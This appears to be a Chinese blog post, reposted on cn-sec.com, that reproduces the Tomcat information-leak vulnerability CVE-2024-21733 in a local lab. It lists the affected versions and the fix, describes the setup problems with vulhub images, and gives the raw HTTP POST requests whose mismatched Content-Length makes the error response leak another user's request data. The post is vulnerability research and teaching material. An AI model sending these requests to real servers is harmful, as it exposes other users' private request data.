价值$5,825赏金的tomcat信息泄露(CVE-2024-21733)

admin 2024年9月22日13:06:41评论80 views字数 2652阅读8分50秒阅读模式

漏洞简介

hackerone报告 https://hackerone.com/reports/2327341

价值$5,825赏金的tomcat信息泄露(CVE-2024-21733)

漏洞编号:CVE-2024-21733

一句话概括漏洞:不完整的POST请求触发一个错误响应,其中可能包含
来自另一个用户先前请求的数据。。

影响范围

Apache Tomcat 9.0.0-M11 to 9.0.43
Apache Tomcat 8.5.7 to 8.5.63

漏洞描述

缓解办法

更新到 Apache Tomcat 9.0.44及之后版本
更新到 Apache Tomcat 8.5.64 及之后版本

漏洞复现

本地还没有存在漏洞的tomcat版本,需要重新下,悲

价值$5,825赏金的tomcat信息泄露(CVE-2024-21733)

本着能用以前靶场就不重新搭建的原则,第一步想到了vulhub。【这步失败了,复现的师傅不要学,直接下tomcat二进制程序就好了。】

docker下载靶场环境
直接使用vulhub的 https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2020-1938/docker-compose.yml

价值$5,825赏金的tomcat信息泄露(CVE-2024-21733)

tomcat 9.0.30 在其中。

docker compose up -d
搭建成功,访问 http://192.168.56.31:8080/

但是因为这个漏洞需要post请求,而这个环境没有支持post的jsp和路由,我又懒,只能选择另一个镜像,也就是cve-2017-12615的。

但这个镜像也有问题,首先是根据教程拉取,

docker-compose build

但是失败

价值$5,825赏金的tomcat信息泄露(CVE-2024-21733)

搜索一番后,找到个解决办法直接拉镜像

sudo docker image pull  vulhub/tomcat:8.5.19
sudo docker-compose build
sudo docker-compose up -d

价值$5,825赏金的tomcat信息泄露(CVE-2024-21733)

http://192.168.56.31:8080/

价值$5,825赏金的tomcat信息泄露(CVE-2024-21733)

通过cve-2017-12615 PUT一个jsp到服务器。

价值$5,825赏金的tomcat信息泄露(CVE-2024-21733)

但是这个环境仍然有问题,我估摸这个环境是spring添加的tomcat依赖,而这种方式默认是没有报错详细信息的,需要手动配置。又是令人头大,最后老老实实的下载tomcat有漏洞的二进制程序复现了。

价值$5,825赏金的tomcat信息泄露(CVE-2024-21733)

注意

tomcat的启动脚本,比如Windows中的startup.bat
需要再首行添加一个变量

set JAVA_TOOL_OPTIONS="-Duser.language=en"

如果响应是中文,好像不存在这个问题。奇奇怪怪。

价值$5,825赏金的tomcat信息泄露(CVE-2024-21733)

复现

POST /test.jsp HTTP/1.1
Host: 192.168.23.1:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

id=aafghdyjfikhlogkyhuihjknhywhfb

价值$5,825赏金的tomcat信息泄露(CVE-2024-21733)

取消自定更新长度

价值$5,825赏金的tomcat信息泄露(CVE-2024-21733)

POST /test.jsp HTTP/1.1
Host: 192.168.23.1:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 2

X

价值$5,825赏金的tomcat信息泄露(CVE-2024-21733)

可以拿到其他请求的数据。

不存在漏洞的tomcat版本

价值$5,825赏金的tomcat信息泄露(CVE-2024-21733)

价值$5,825赏金的tomcat信息泄露(CVE-2024-21733)

tomcat在keep-alive时会等待20s,可能造成ddos

价值$5,825赏金的tomcat信息泄露(CVE-2024-21733)

详细的分析

下面两篇文章对tomcat这个漏洞出现的原因分析都很详细,想理解原理的师傅可以点进去看看。

Tomcat CVE-2024-21733漏洞简单复现、分析 https://mp.weixin.qq.com/s/2kIyCN1dv3fsaNgMoNnyKQ
漏洞分析 | Apache Tomcat 信息泄露漏洞 (CVE-2024-21733) https://mp.weixin.qq.com/s/5dLWQNjsC8Qf8JgHxs1bCQ

如果想更进一步,搭建tomcat源码调试环境,可以看我的这篇文章《本地构建Tomcat9.x源码环境》。是我为了分析这个漏洞一步一步搭建的tomcat环境的整个过程。

参考链接

hackerone报告 https://hackerone.com/reports/2327341
Tomcat CVE-2024-21733漏洞简单复现、分析 https://mp.weixin.qq.com/s/2kIyCN1dv3fsaNgMoNnyKQ
漏洞分析 | Apache Tomcat 信息泄露漏洞 (CVE-2024-21733) https://mp.weixin.qq.com/s/5dLWQNjsC8Qf8JgHxs1bCQ

 

原文始发于微信公众号(进击的HACK):价值$5,825赏金的tomcat信息泄露(CVE-2024-21733)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月22日13:06:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   价值$5,825赏金的tomcat信息泄露(CVE-2024-21733)https://cn-sec.com/archives/3167238.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息